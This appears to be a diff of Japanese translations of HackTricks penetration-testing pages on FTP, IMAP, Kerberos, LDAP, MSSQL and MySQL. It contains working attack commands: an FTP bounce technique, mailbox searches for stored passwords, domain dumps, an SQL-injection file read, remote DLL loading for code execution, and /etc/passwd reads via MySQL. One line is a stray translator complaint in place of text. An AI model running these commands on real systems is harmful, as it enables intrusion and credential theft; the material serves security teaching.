**アクティブFTP**では、FTP **クライアント**が最初に制御**接続**をポートNからFTPサーバーのコマンドポート – ポート21に**開始**します。次に、**クライアント**はポート**N+1**を**リッスン**し、ポートN+1をFTPサーバーに送信します。FTP **サーバー**はその後、データ**接続**を**自分のポートMからFTPクライアントのポートN+1に**向けて**開始**します。
|
||||
|
||||
しかし、FTPクライアントが外部からの受信データ接続を制御するファイアウォールを設定している場合、アクティブFTPは問題になる可能性があります。そのための実行可能な解決策がパッシブFTPです。
|
||||
しかし、FTPクライアントが外部からの受信データ接続を制御するファイアウォールを設定している場合、アクティブFTPは問題になる可能性があります。そのための実行可能な解決策はパッシブFTPです。
|
||||
|
||||
**パッシブFTP**では、クライアントが自分のポートNからFTPサーバーのポート21に制御接続を**開始**します。その後、クライアントは**passvコマンド**を発行します。サーバーはその後、クライアントに自分のポート番号Mの1つを送信します。そして、**クライアント**は**自分のポートPからFTPサーバーのポートM**にデータ**接続**を**開始**します。
|
||||
**パッシブFTP**では、クライアントが制御接続をポートNからFTPサーバーのポート21に**開始**します。その後、クライアントは**passvコマンド**を発行します。サーバーはその後、クライアントに自分のポート番号Mの1つを送信します。そして、**クライアント**は**自分のポートPからFTPサーバーのポートMに**データ**接続**を**開始**します。
|
||||
|
||||
出典: [https://www.thesecuritybuddy.com/vulnerabilities/what-is-ftp-bounce-attack/](https://www.thesecuritybuddy.com/vulnerabilities/what-is-ftp-bounce-attack/)
|
||||
|
||||
@ -131,7 +131,7 @@ wget -r --user="USERNAME" --password="PASSWORD" ftp://server.com/
|
||||
- **`USER username`**
|
||||
- **`PASS password`**
|
||||
- **`HELP`** サーバーがサポートしているコマンドを示します
|
||||
- **`PORT 127,0,0,1,0,80`** これはFTPサーバーにIP 127.0.0.1のポート80で接続を確立するよう指示します(_5番目の文字を「0」にし、6番目を10進数でポートとして指定する必要があります。または5番目と6番目を使ってポートを16進数で表現します_)。
|
||||
- **`PORT 127,0,0,1,0,80`** これはFTPサーバーにIP 127.0.0.1のポート80で接続を確立するよう指示します(_5番目の文字を「0」にし、6番目を10進数でポートにする必要があります。または5番目と6番目を使ってポートを16進数で表現します_)。
|
||||
- **`EPRT |2|127.0.0.1|80|`** これはFTPサーバーにIP 127.0.0.1のポート80でTCP接続を確立するよう指示します(_「2」によって示されます_)。このコマンドは**IPv6をサポートしています**。
|
||||
- **`LIST`** 現在のフォルダー内のファイルのリストを送信します
|
||||
- **`LIST -R`** 再帰的にリスト(サーバーが許可している場合)
|
||||
@ -148,21 +148,21 @@ wget -r --user="USERNAME" --password="PASSWORD" ftp://server.com/
|
||||
|
||||
## FTPバウンス攻撃
|
||||
|
||||
一部のFTPサーバーはPORTコマンドを許可しています。このコマンドは、サーバーに他のFTPサーバーの特定のポートに接続したいことを示すために使用できます。これを使用して、FTPサーバーを介してホストのどのポートが開いているかをスキャンできます。
|
||||
一部のFTPサーバーはPORTコマンドを許可します。このコマンドは、サーバーに他のFTPサーバーの特定のポートに接続したいことを示すために使用できます。これを使用して、FTPサーバーを介してホストのどのポートが開いているかをスキャンできます。
|
||||
|
||||
[**ここでFTPサーバーを悪用してポートをスキャンする方法を学びましょう。**](ftp-bounce-attack.md)
|
||||
|
||||
この動作を悪用して、FTPサーバーを他のプロトコルと対話させることもできます。**HTTPリクエストを含むファイルをアップロード**し、脆弱なFTPサーバーに**任意のHTTPサーバーに送信させる**ことができます(_新しい管理ユーザーを追加するため?_)または、FTPリクエストをアップロードして、脆弱なFTPサーバーに別のFTPサーバーからファイルをダウンロードさせることもできます。\
|
||||
この動作を悪用して、FTPサーバーを他のプロトコルと対話させることもできます。**HTTPリクエストを含むファイルをアップロード**し、脆弱なFTPサーバーに**任意のHTTPサーバーに送信させる**ことができます(_新しい管理ユーザーを追加するため?_)または、FTPリクエストをアップロードして脆弱なFTPサーバーに別のFTPサーバーからファイルをダウンロードさせることもできます。\
|
||||
理論は簡単です:
|
||||
|
||||
1. **リクエスト(テキストファイル内)を脆弱なサーバーにアップロードします。** 他のHTTPまたはFTPサーバーと通信する場合は、`0x0d 0x0a`で行を変更する必要があることを忘れないでください。
|
||||
2. **`REST X`を使用して、送信したくない文字を送信しないようにします**(おそらく、ファイル内にリクエストをアップロードするために、最初にいくつかの画像ヘッダーを追加する必要がありました)。
|
||||
2. **`REST X`を使用して送信したくない文字を送信しないようにします**(おそらくリクエストをファイル内にアップロードするために、最初にいくつかの画像ヘッダーを入れる必要がありました)。
|
||||
3. **`PORT`を使用して任意のサーバーとサービスに接続します**
|
||||
4. **`RETR`を使用して保存されたリクエストをサーバーに送信します。**
|
||||
|
||||
これは**_**ソケットが書き込み可能ではない**_**というエラーを引き起こす可能性が非常に高いです。**接続が`RETR`でデータを送信するのに十分な時間がないためです**。これを回避するための提案は次のとおりです:
|
||||
|
||||
- HTTPリクエストを送信している場合は、**同じリクエストを次々と送信します**、少なくとも**\~0.5MB**まで。次のように:
|
||||
- HTTPリクエストを送信している場合、**同じリクエストを次々と送信します**、少なくとも**\~0.5MB**まで。次のように:
|
||||
|
||||
{{#file}}
|
||||
posts.txt
|
||||
|
@ -4,7 +4,7 @@
|
||||
|
||||
## インターネットメッセージアクセスプロトコル
|
||||
|
||||
**インターネットメッセージアクセスプロトコル (IMAP)** は、ユーザーが**任意の場所からメールメッセージにアクセスできるようにする**ことを目的として設計されています。基本的に、メールは**サーバーに保持され**、個人のデバイスにダウンロードされて保存されることはありません。つまり、メールにアクセスまたは読み取る際は、**サーバーから直接行われます**。この機能により、**複数のデバイス**からメールを確認する便利さが提供され、使用するデバイスに関係なくメッセージを見逃すことがありません。
|
||||
**インターネットメッセージアクセスプロトコル (IMAP)** は、ユーザーが**任意の場所からメールメッセージにアクセスできるようにする**ことを目的として設計されています。主にインターネット接続を通じて行われます。要するに、メールは**サーバーに保持され**、個人のデバイスにダウンロードして保存されることはありません。これは、メールにアクセスまたは読む際に、**サーバーから直接行われる**ことを意味します。この機能により、**複数のデバイス**からメールを確認する便利さが提供され、使用するデバイスに関係なくメッセージを見逃すことがありません。
|
||||
|
||||
デフォルトでは、IMAPプロトコルは2つのポートで動作します:
|
||||
|
||||
@ -101,7 +101,7 @@ curl -k 'imaps://1.2.3.4/' --user user:pass
|
||||
```bash
|
||||
curl -k 'imaps://1.2.3.4/INBOX?ALL' --user user:pass
|
||||
```
|
||||
この検索の結果は、メッセージインデックスのリストです。
|
||||
この検索の結果はメッセージインデックスのリストです。
|
||||
|
||||
より複雑な検索条件を提供することも可能です。例えば、メール本文にパスワードを含む下書きを検索することです:
|
||||
```bash
|
||||
@ -109,7 +109,7 @@ curl -k 'imaps://1.2.3.4/Drafts?TEXT password' --user user:pass
|
||||
```
|
||||
可能な検索用語の良い概要は[こちら](https://www.atmail.com/blog/imap-commands/)にあります。
|
||||
|
||||
3. メッセージのダウンロード(imapコマンド `SELECT Drafts` とその後 `FETCH 1 BODY[]`)
|
||||
3. メッセージのダウンロード(imapコマンド`SELECT Drafts`、次に`FETCH 1 BODY[]`)
|
||||
```bash
|
||||
curl -k 'imaps://1.2.3.4/Drafts;MAILINDEX=1' --user user:pass
|
||||
```
|
||||
@ -120,7 +120,7 @@ curl -k 'imaps://1.2.3.4/Drafts;MAILINDEX=1' --user user:pass
|
||||
curl -k 'imaps://1.2.3.4/INBOX' -X 'UID SEARCH ALL' --user user:pass
|
||||
curl -k 'imaps://1.2.3.4/INBOX;UID=1' --user user:pass
|
||||
```
|
||||
メッセージの一部、例えば最初の5件のメッセージの件名と送信者をダウンロードすることも可能です(`-v`を使用する必要があります)。
|
||||
また、メッセージの一部だけをダウンロードすることも可能です。例えば、最初の5件のメッセージの件名と送信者(`-v`を使用する必要があります):
|
||||
```bash
|
||||
$ curl -k 'imaps://1.2.3.4/INBOX' -X 'FETCH 1:5 BODY[HEADER.FIELDS (SUBJECT FROM)]' --user user:pass -v 2>&1 | grep '^<'
|
||||
```
|
||||
|
@ -4,11 +4,11 @@
|
||||
|
||||
## 基本情報
|
||||
|
||||
**Kerberos** は、ユーザーのリソースへのアクセスを直接管理することなく認証する原則に基づいて動作します。これは、プロトコルのセキュリティフレームワークにおける役割を強調する重要な違いです。
|
||||
**Kerberos** は、ユーザーのリソースへのアクセスを直接管理することなく認証を行う原則に基づいています。これは、プロトコルのセキュリティフレームワークにおける役割を強調する重要な違いです。
|
||||
|
||||
**Active Directory** のような環境では、**Kerberos** はユーザーの秘密のパスワードを検証することによってユーザーのアイデンティティを確立するのに重要な役割を果たします。このプロセスは、各ユーザーのアイデンティティがネットワークリソースと相互作用する前に確認されることを保証します。しかし、**Kerberos** は特定のリソースやサービスに対するユーザーの権限を評価または強制する機能を拡張しません。代わりに、ユーザーを認証するための安全な方法を提供し、これはセキュリティプロセスの重要な第一歩です。
|
||||
|
||||
**Kerberos** による認証の後、リソースへのアクセスに関する意思決定プロセスは、ネットワーク内の個々のサービスに委任されます。これらのサービスは、**Kerberos** が提供するユーザーの特権に関する情報に基づいて、認証されたユーザーの権利と権限を評価する責任を負います。この設計により、ユーザーのアイデンティティを認証することと、そのアクセス権を管理することの間に関心の分離が可能になり、分散ネットワークにおけるリソース管理に対してより柔軟で安全なアプローチを実現します。
|
||||
**Kerberos** による認証の後、リソースへのアクセスに関する意思決定プロセスは、ネットワーク内の個々のサービスに委任されます。これらのサービスは、**Kerberos** が提供するユーザーの特権に関する情報に基づいて、認証されたユーザーの権利と権限を評価する責任を負います。この設計により、ユーザーのアイデンティティを認証することとアクセス権を管理することの間に関心の分離が可能になり、分散ネットワークにおけるリソース管理に対してより柔軟で安全なアプローチを実現します。
|
||||
|
||||
**デフォルトポート:** 88/tcp/udp
|
||||
```
|
||||
@ -25,7 +25,7 @@ PORT STATE SERVICE
|
||||
|
||||
### MS14-068
|
||||
|
||||
MS14-068の脆弱性により、攻撃者は正当なユーザーのKerberosログイントークンを改ざんし、ドメイン管理者であるかのように偽って特権を主張することができます。この偽の主張はドメインコントローラーによって誤って検証され、Active Directoryフォレスト全体のネットワークリソースへの不正アクセスを可能にします。
|
||||
MS14-068の脆弱性により、攻撃者は正当なユーザーのKerberosログイントークンを改ざんし、ドメイン管理者であるかのように偽の特権を主張することができます。この偽の主張はドメインコントローラーによって誤って検証され、Active Directoryフォレスト全体のネットワークリソースへの不正アクセスを可能にします。
|
||||
|
||||
{{#ref}}
|
||||
https://adsecurity.org/?p=541
|
||||
|
@ -2,13 +2,13 @@
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
**LDAP**(軽量ディレクトリアクセスプロトコル)の使用は、主に組織、個人、ファイルやデバイスなどのリソースを公共およびプライベートネットワーク内で特定するためのものです。これは、前のプロトコルであるDAPに比べて、より小さなコードフットプリントを持つことで、効率的なアプローチを提供します。
|
||||
**LDAP**(軽量ディレクトリアクセスプロトコル)の使用は、主に組織、個人、ファイルやデバイスなどのリソースをネットワーク内で見つけるためのものであり、公共およびプライベートの両方のネットワークで利用されます。これは、前のプロトコルであるDAPに比べて、コードのフットプリントが小さく、効率的なアプローチを提供します。
|
||||
|
||||
LDAPディレクトリは、複数のサーバーに分散できるように構造化されており、各サーバーはディレクトリの**複製された**および**同期された**バージョンを保持しています。これをディレクトリシステムエージェント(DSA)と呼びます。リクエストの処理は完全にLDAPサーバーの責任であり、必要に応じて他のDSAと通信して、リクエスターに統一された応答を提供します。
|
||||
|
||||
LDAPディレクトリの組織は、**ルートディレクトリが最上部にあるツリー階層**に似ています。これが国に分岐し、さらに組織に分かれ、次にさまざまな部門や部局を表す組織単位に至り、最終的には人々やファイル、プリンターなどの共有リソースを含む個々のエンティティのレベルに達します。
|
||||
LDAPディレクトリの組織は、**ルートディレクトリが最上部にあるツリー階層**に似ています。これは国に分岐し、さらに組織に分かれ、次にさまざまな部門や部局を表す組織単位に至り、最終的には人々やファイル、プリンターなどの共有リソースを含む個々のエンティティのレベルに達します。
|
||||
|
||||
**デフォルトポート:** 389および636(ldaps)。グローバルカタログ(ActiveDirectoryのLDAP)は、ポート3268および3269でLDAPS用にデフォルトで利用可能です。
|
||||
**デフォルトポート:** 389および636(ldaps)。グローバルカタログ(ActiveDirectoryのLDAP)は、デフォルトでポート3268および3269(LDAPS)で利用可能です。
|
||||
```
|
||||
PORT STATE SERVICE REASON
|
||||
389/tcp open ldap syn-ack
|
||||
@ -47,7 +47,7 @@ phone: 23627387495
|
||||
```
|
||||
- 行1-3はトップレベルドメインlocalを定義します
|
||||
- 行5-8はファーストレベルドメインmoneycorp (moneycorp.local)を定義します
|
||||
- 行10-16は2つの組織単位:devとsalesを定義します
|
||||
- 行10-16は2つの組織単位を定義します: devとsales
|
||||
- 行18-26はドメインのオブジェクトを作成し、属性に値を割り当てます
|
||||
|
||||
## データの書き込み
|
||||
@ -76,7 +76,7 @@ LDAPがSSLなしで使用されている場合、ネットワーク内で**平
|
||||
|
||||
### Bypass TLS SNI check
|
||||
|
||||
[**この書き込み**](https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/)によると、任意のドメイン名(例えばcompany.com)でLDAPサーバーにアクセスするだけで、匿名ユーザーとしてLDAPサービスに接触し、情報を抽出することができました。
|
||||
[**この書き込み**](https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/)によると、任意のドメイン名(例えばcompany.com)でLDAPサーバーにアクセスするだけで、彼は匿名ユーザーとしてLDAPサービスに接触し、情報を抽出することができました。
|
||||
```bash
|
||||
ldapsearch -H ldaps://company.com:636/ -x -s base -b '' "(objectClass=*)" "*" +
|
||||
```
|
||||
@ -175,7 +175,7 @@ tion a successful bind must be completed on the connection., data 0, v3839
|
||||
```
|
||||
"_bind must be completed_" というメッセージが表示された場合、認証情報が正しくないことを意味します。
|
||||
|
||||
**ドメインからすべてを抽出するには**:
|
||||
**ドメインからすべてを抽出する**には、次のコマンドを使用します:
|
||||
```bash
|
||||
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "DC=<1_SUBDOMAIN>,DC=<TLD>"
|
||||
-x Simple Authentication
|
||||
@ -290,7 +290,7 @@ Godapは、ADや他のLDAPサーバーのオブジェクトや属性と対話す
|
||||
|
||||

|
||||
|
||||
[https://github.com/Macmod/godap](https://github.com/Macmod/godap)でアクセスできます。使用例と指示については[Wiki](https://github.com/Macmod/godap/wiki)をお読みください。
|
||||
[https://github.com/Macmod/godap](https://github.com/Macmod/godap)でアクセスできます。使用例と指示については[Wiki](https://github.com/Macmod/godap/wiki)を読んでください。
|
||||
|
||||
### Ldapx
|
||||
|
||||
@ -302,7 +302,7 @@ Ldapxは、他のツールからのLDAPトラフィックを検査および変
|
||||
|
||||
## kerberosによる認証
|
||||
|
||||
`ldapsearch`を使用すると、パラメータ`-Y GSSAPI`を使用して**NTLM**ではなく**kerberos**に対して**認証**できます。
|
||||
`ldapsearch`を使用すると、**NTLM**ではなく**kerberos**に対して**認証**できます。パラメータ`-Y GSSAPI`を使用します。
|
||||
|
||||
## POST
|
||||
|
||||
@ -310,7 +310,7 @@ Ldapxは、他のツールからのLDAPトラフィックを検査および変
|
||||
```bash
|
||||
cat /var/lib/ldap/*.bdb | grep -i -a -E -o "description.*" | sort | uniq -u
|
||||
```
|
||||
johnにパスワードハッシュ('{SSHA}'から'structural'まで、'structural'を追加せずに)を与えることができます。
|
||||
johnにパスワードハッシュを与えることができます('{SSHA}'から'structural'まで、'structural'を追加せずに)。
|
||||
|
||||
### 設定ファイル
|
||||
|
||||
|
@ -15,9 +15,9 @@ From [wikipedia](https://en.wikipedia.org/wiki/Microsoft_SQL_Server):
|
||||
### **デフォルトのMS-SQLシステムテーブル**
|
||||
|
||||
- **master Database**: このデータベースは、SQL Serverインスタンスのすべてのシステムレベルの詳細をキャプチャするため、重要です。
|
||||
- **msdb Database**: SQL Server Agentは、このデータベースを使用してアラートとジョブのスケジューリングを管理します。
|
||||
- **model Database**: SQL Serverインスタンス上のすべての新しいデータベースの青写真として機能し、サイズ、照合、リカバリモデルなどの変更が新しく作成されたデータベースに反映されます。
|
||||
- **Resource Database**: SQL Serverに付属するシステムオブジェクトを格納する読み取り専用データベースです。これらのオブジェクトは物理的にはResourceデータベースに保存されていますが、論理的にはすべてのデータベースのsysスキーマに表示されます。
|
||||
- **msdb Database**: SQL Server Agentは、このデータベースを使用してアラートやジョブのスケジュールを管理します。
|
||||
- **model Database**: SQL Serverインスタンス上の新しいデータベースの青写真として機能し、サイズ、照合、リカバリモデルなどの変更が新しく作成されたデータベースに反映されます。
|
||||
- **Resource Database**: SQL Serverに付属するシステムオブジェクトを格納する読み取り専用データベースです。これらのオブジェクトは物理的にはResourceデータベースに保存されていますが、論理的には各データベースのsysスキーマに表示されます。
|
||||
- **tempdb Database**: 一時的なオブジェクトや中間結果セットのための一時ストレージエリアとして機能します。
|
||||
|
||||
## 列挙
|
||||
@ -155,14 +155,14 @@ SELECT * FROM sysusers
|
||||
```
|
||||
#### 権限の取得
|
||||
|
||||
1. **Securable:** SQL Serverによってアクセス制御のために管理されるリソースとして定義されます。これらは以下のように分類されます:
|
||||
1. **Securable:** SQL Serverによってアクセス制御のために管理されるリソースとして定義されます。これらは以下のカテゴリに分類されます:
|
||||
- **Server** – 例としてデータベース、ログイン、エンドポイント、可用性グループ、サーバーロールなどがあります。
|
||||
- **Database** – 例としてデータベースロール、アプリケーションロール、スキーマ、証明書、全文検索カタログ、ユーザーなどがあります。
|
||||
- **Schema** – テーブル、ビュー、プロシージャ、関数、同義語などが含まれます。
|
||||
2. **Permission:** SQL Serverのセキュアブルに関連付けられ、ALTER、CONTROL、CREATEなどの権限が主体に付与されることがあります。権限の管理は2つのレベルで行われます:
|
||||
- **Server Level** ログインを使用
|
||||
- **Database Level** ユーザーを使用
|
||||
3. **Principal:** この用語は、セキュアブルに対して権限を付与されるエンティティを指します。プリンシパルには主にログインとデータベースユーザーが含まれます。セキュアブルへのアクセス制御は、権限の付与または拒否、またはアクセス権を持つロールにログインとユーザーを含めることによって行われます。
|
||||
3. **Principal:** この用語は、セキュアブルに対して権限を付与されるエンティティを指します。主体には主にログインとデータベースユーザーが含まれます。セキュアブルへのアクセス制御は、権限の付与または拒否、またはアクセス権を持つロールにログインとユーザーを含めることによって行われます。
|
||||
```sql
|
||||
# Show all different securables names
|
||||
SELECT distinct class_desc FROM sys.fn_builtin_permissions(DEFAULT);
|
||||
@ -187,7 +187,7 @@ EXEC sp_helprotect 'xp_cmdshell'
|
||||
### OSコマンドの実行
|
||||
|
||||
> [!CAUTION]
|
||||
> コマンドを実行するためには、**`xp_cmdshell`** が **有効** であるだけでなく、**`xp_cmdshell` ストアドプロシージャに対する EXECUTE 権限** も必要です。誰が **`xp_cmdshell`** を使用できるか(sysadminを除く)を確認するには、次のコマンドを実行します:
|
||||
> コマンドを実行するには、**`xp_cmdshell`** が **有効** であるだけでなく、**`xp_cmdshell` ストアドプロシージャに対する EXECUTE 権限** も必要です。誰が(sysadminを除く)**`xp_cmdshell`** を使用できるかを確認するには、次のコマンドを実行します:
|
||||
>
|
||||
> ```sql
|
||||
> Use master
|
||||
@ -286,7 +286,7 @@ mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth ntlm-relay 192.168.45.25
|
||||
|
||||
### **ファイルの書き込み**
|
||||
|
||||
`MSSQL`を使用してファイルを書き込むには、**[**Ole Automation Procedures**](https://docs.microsoft.com/en-us/sql/database-engine/configure-windows/ole-automation-procedures-server-configuration-option)**を有効にする必要があり、これは管理者権限を必要とし、その後ファイルを作成するためにいくつかのストアドプロシージャを実行します:
|
||||
`MSSQL`を使用してファイルを書き込むには、[**Ole Automation Procedures**](https://docs.microsoft.com/en-us/sql/database-engine/configure-windows/ole-automation-procedures-server-configuration-option)を**有効にする必要があり**、これには管理者権限が必要です。その後、ファイルを作成するためにいくつかのストアドプロシージャを実行します:
|
||||
```bash
|
||||
# Enable Ole Automation Procedures
|
||||
sp_configure 'show advanced options', 1
|
||||
@ -315,13 +315,13 @@ SELECT * FROM OPENROWSET(BULK N'C:/Windows/System32/drivers/etc/hosts', SINGLE_C
|
||||
# Check if you have it
|
||||
SELECT * FROM fn_my_permissions(NULL, 'SERVER') WHERE permission_name='ADMINISTER BULK OPERATIONS' OR permission_name='ADMINISTER DATABASE BULK OPERATIONS';
|
||||
```
|
||||
#### SQLiのエラーベースベクター:
|
||||
#### SQLiのためのエラーベースのベクター:
|
||||
```
|
||||
https://vuln.app/getItem?id=1+and+1=(select+x+from+OpenRowset(BULK+'C:\Windows\win.ini',SINGLE_CLOB)+R(x))--
|
||||
```
|
||||
### **RCE/ファイルを読み取るスクリプトの実行 (Python と R)**
|
||||
|
||||
MSSQL は **Python および/または R** で **スクリプトを実行**することを許可する場合があります。これらのコードは、**xp_cmdshell** を使用してコマンドを実行しているユーザーとは **異なるユーザー** によって実行されます。
|
||||
MSSQL は **Python および/または R のスクリプトを実行する**ことを許可する場合があります。これらのコードは、**xp_cmdshell** を使用してコマンドを実行しているユーザーとは **異なるユーザー** によって実行されます。
|
||||
|
||||
**'R'** _"Hellow World!"_ **が動作しない** 例:
|
||||
|
||||
@ -366,21 +366,21 @@ Use master;
|
||||
EXEC sp_helprotect 'xp_regread';
|
||||
EXEC sp_helprotect 'xp_regwrite';
|
||||
```
|
||||
**より多くの例**については、[**元のソース**](https://blog.waynesheffield.com/wayne/archive/2017/08/working-registry-sql-server/)を確認してください。
|
||||
For **more examples** check out the [**original source**](https://blog.waynesheffield.com/wayne/archive/2017/08/working-registry-sql-server/).
|
||||
|
||||
### MSSQL ユーザー定義関数による RCE - SQLHttp <a href="#mssql-user-defined-function-sqlhttp" id="mssql-user-defined-function-sqlhttp"></a>
|
||||
### RCE with MSSQL User Defined Function - SQLHttp <a href="#mssql-user-defined-function-sqlhttp" id="mssql-user-defined-function-sqlhttp"></a>
|
||||
|
||||
**カスタム関数を使用して MSSQL 内に .NET dll をロードすることが可能です**。ただし、**`dbo` アクセスが必要です**ので、データベースに**`sa` または管理者ロール**として接続する必要があります。
|
||||
MSSQLで**カスタム関数を使用して.NET dllをロードすることが可能です**。ただし、**`dbo`アクセスが必要です**ので、データベースに**`sa`または管理者ロールとして接続する必要があります**。
|
||||
|
||||
[**このリンクをたどって**](../../pentesting-web/sql-injection/mssql-injection.md#mssql-user-defined-function-sqlhttp)例を確認してください。
|
||||
[**Following this link**](../../pentesting-web/sql-injection/mssql-injection.md#mssql-user-defined-function-sqlhttp) to see an example.
|
||||
|
||||
### `autoadmin_task_agents`による RCE
|
||||
### RCE with `autoadmin_task_agents`
|
||||
|
||||
[**この投稿によると**](https://exploit7-tr.translate.goog/posts/sqlserver/?_x_tr_sl=es&_x_tr_tl=en&_x_tr_hl=en&_x_tr_pto=wapp)、リモート dll をロードし、MSSQL にそれを実行させることも可能です。
|
||||
[**この投稿によると**](https://exploit7-tr.translate.goog/posts/sqlserver/?_x_tr_sl=es&_x_tr_tl=en&_x_tr_hl=en&_x_tr_pto=wapp)、リモートdllをロードし、MSSQLにそれを実行させることも可能です。
|
||||
```sql
|
||||
update autoadmin_task_agents set task_assembly_name = "class.dll", task_assembly_path="\\remote-server\\ping.dll",className="Class1.Class1";
|
||||
```
|
||||
翻訳するテキストを提供してください。
|
||||
翻訳する内容が提供されていません。翻訳が必要なテキストを提供してください。
|
||||
```csharp
|
||||
using Microsoft.SqlServer.SmartAdmin;
|
||||
using System;
|
||||
@ -476,7 +476,7 @@ SELECT is_srvrolemember('sysadmin')
|
||||
```bash
|
||||
msf> use auxiliary/admin/mssql/mssql_escalate_dbowner
|
||||
```
|
||||
または**PS**スクリプト:
|
||||
または **PS** スクリプト:
|
||||
```powershell
|
||||
# https://raw.githubusercontent.com/nullbind/Powershellery/master/Stable-ish/MSSQL/Invoke-SqlServer-Escalate-Dbowner.psm1
|
||||
Import-Module .Invoke-SqlServerDbElevateDbOwner.psm1
|
||||
@ -484,7 +484,7 @@ Invoke-SqlServerDbElevateDbOwner -SqlUser myappuser -SqlPass MyPassword! -SqlSer
|
||||
```
|
||||
### 他のユーザーのなりすまし
|
||||
|
||||
SQL Serverには、**`IMPERSONATE`**という特別な権限があり、**実行中のユーザーが別のユーザー**またはログインの権限を引き継ぐことを**許可します**。これは、コンテキストがリセットされるか、セッションが終了するまで続きます。
|
||||
SQL Serverには、**`IMPERSONATE`**という特別な権限があり、**実行中のユーザーが他のユーザーまたはログインの権限を引き継ぐことを許可します**。これは、コンテキストがリセットされるか、セッションが終了するまで続きます。
|
||||
```sql
|
||||
# Find users you can impersonate
|
||||
SELECT distinct b.name
|
||||
@ -505,9 +505,9 @@ enum_links
|
||||
use_link [NAME]
|
||||
```
|
||||
> [!NOTE]
|
||||
> ユーザーを偽装できる場合、たとえそのユーザーがsysadminでなくても、**そのユーザーが他の** **データベース**やリンクサーバーにアクセスできるかどうかを確認するべきです。
|
||||
|
||||
sysadminになると、他のユーザーを偽装できることに注意してください:
|
||||
> ユーザーを偽装できる場合、たとえそのユーザーがsysadminでなくても、**そのユーザーが他の** **データベース** **やリンクサーバーにアクセスできるかどうかを確認するべきです。**
|
||||
>
|
||||
> sysadminになると、他のユーザーを偽装できることに注意してください:
|
||||
```sql
|
||||
-- Impersonate RegUser
|
||||
EXECUTE AS LOGIN = 'RegUser'
|
||||
@ -521,7 +521,7 @@ REVERT
|
||||
```bash
|
||||
msf> auxiliary/admin/mssql/mssql_escalate_execute_as
|
||||
```
|
||||
または **PS** スクリプトを使用して:
|
||||
または **PS** スクリプトを使用して:
|
||||
```powershell
|
||||
# https://raw.githubusercontent.com/nullbind/Powershellery/master/Stable-ish/MSSQL/Invoke-SqlServer-Escalate-ExecuteAs.psm1
|
||||
Import-Module .Invoke-SqlServer-Escalate-ExecuteAs.psm1
|
||||
@ -545,7 +545,7 @@ Invoke-SqlServer-Escalate-ExecuteAs -SqlServerInstance 10.2.9.101 -SqlUser myuse
|
||||
|
||||
これらの設定を自動化するために、[このリポジトリ](https://github.com/IamLeandrooooo/SQLServerLinkedServersPasswords/)には必要なスクリプトがあります。設定の各ステップのためのPowerShellスクリプトがあるだけでなく、設定スクリプトとパスワードの抽出および復号化を組み合わせた完全なスクリプトも含まれています。
|
||||
|
||||
この攻撃に関するさらなる情報は、以下のリンクを参照してください:[MSSQLデータベースリンクサーバーパスワードの復号化](https://www.netspi.com/blog/technical/adversary-simulation/decrypting-mssql-database-link-server-passwords/)
|
||||
この攻撃に関するさらなる情報は、次のリンクを参照してください:[MSSQLデータベースリンクサーバーパスワードの復号化](https://www.netspi.com/blog/technical/adversary-simulation/decrypting-mssql-database-link-server-passwords/)
|
||||
|
||||
[SQL Server専用管理者接続のトラブルシューティング](https://www.mssqltips.com/sqlservertip/5364/troubleshooting-the-sql-server-dedicated-administrator-connection/)
|
||||
|
||||
|
@ -4,7 +4,7 @@
|
||||
|
||||
## **基本情報**
|
||||
|
||||
**MySQL**は、無償で利用できるオープンソースの**リレーショナルデータベース管理システム (RDBMS)**として説明できます。これは、**構造化クエリ言語 (SQL)**に基づいて動作し、データベースの管理と操作を可能にします。
|
||||
**MySQL**は、無償で利用できるオープンソースの**リレーショナルデータベース管理システム (RDBMS)**として説明できます。これは、**構造化クエリ言語 (SQL)**で動作し、データベースの管理と操作を可能にします。
|
||||
|
||||
**デフォルトポート:** 3306
|
||||
```
|
||||
@ -22,9 +22,9 @@ mysql -u root -p # A password will be asked (check someone)
|
||||
mysql -h <Hostname> -u root
|
||||
mysql -h <Hostname> -u root@localhost
|
||||
```
|
||||
## 外部列挙
|
||||
## External Enumeration
|
||||
|
||||
いくつかの列挙アクションには有効な資格情報が必要です
|
||||
一部の列挙アクションには有効な資格情報が必要です
|
||||
```bash
|
||||
nmap -sV -p 3306 --script mysql-audit,mysql-databases,mysql-dump-hashes,mysql-empty-password,mysql-enum,mysql-info,mysql-query,mysql-users,mysql-variables,mysql-vuln-cve2012-2122 <IP>
|
||||
msf> use auxiliary/scanner/mysql/mysql_version
|
||||
@ -41,7 +41,7 @@ msf> use exploit/windows/mysql/mysql_start_up #Execute commands Windows, Creds
|
||||
CONVERT(unhex("6f6e2e786d6c55540900037748b75c7249b75"), BINARY)
|
||||
CONVERT(from_base64("aG9sYWFhCg=="), BINARY)
|
||||
```
|
||||
## **MySQLコマンド**
|
||||
## **MySQL コマンド**
|
||||
```bash
|
||||
show databases;
|
||||
use <database>;
|
||||
@ -78,7 +78,7 @@ quit;
|
||||
mysql -u username -p < manycommands.sql #A file with all the commands you want to execute
|
||||
mysql -u root -h 127.0.0.1 -e 'show databases;'
|
||||
```
|
||||
### MySQLの権限列挙
|
||||
### MySQL 権限列挙
|
||||
```sql
|
||||
#Mysql
|
||||
SHOW GRANTS [FOR user];
|
||||
@ -111,21 +111,21 @@ SELECT routine_name FROM information_schema.routines WHERE routine_type = 'FUNCT
|
||||
|
||||
## MySQLクライアントによる任意のファイルの読み取り
|
||||
|
||||
実際、**テーブルにローカルデータをロードする**とき、MySQLまたはMariaDBサーバーは**クライアントにファイルを読み取る**ように要求し、その内容を送信します。**したがって、mysqlクライアントを改ざんして自分のMySQLサーバーに接続できれば、任意のファイルを読み取ることができます。**\
|
||||
実際、**テーブルにローカルデータをロードする**とき、MySQLまたはMariaDBサーバーは**クライアントにファイルを読み取って**その内容を送信するように要求します。**したがって、mysqlクライアントを改ざんして自分のMySQLサーバーに接続できれば、任意のファイルを読み取ることができます。**\
|
||||
この動作は次のように使用されることに注意してください:
|
||||
```bash
|
||||
load data local infile "/etc/passwd" into table test FIELDS TERMINATED BY '\n';
|
||||
```
|
||||
(「local」という単語に注意してください)\
|
||||
(「local」という単語に注意してください)\
|
||||
「local」がないと、次のようになります:
|
||||
```bash
|
||||
mysql> load data infile "/etc/passwd" into table test FIELDS TERMINATED BY '\n';
|
||||
|
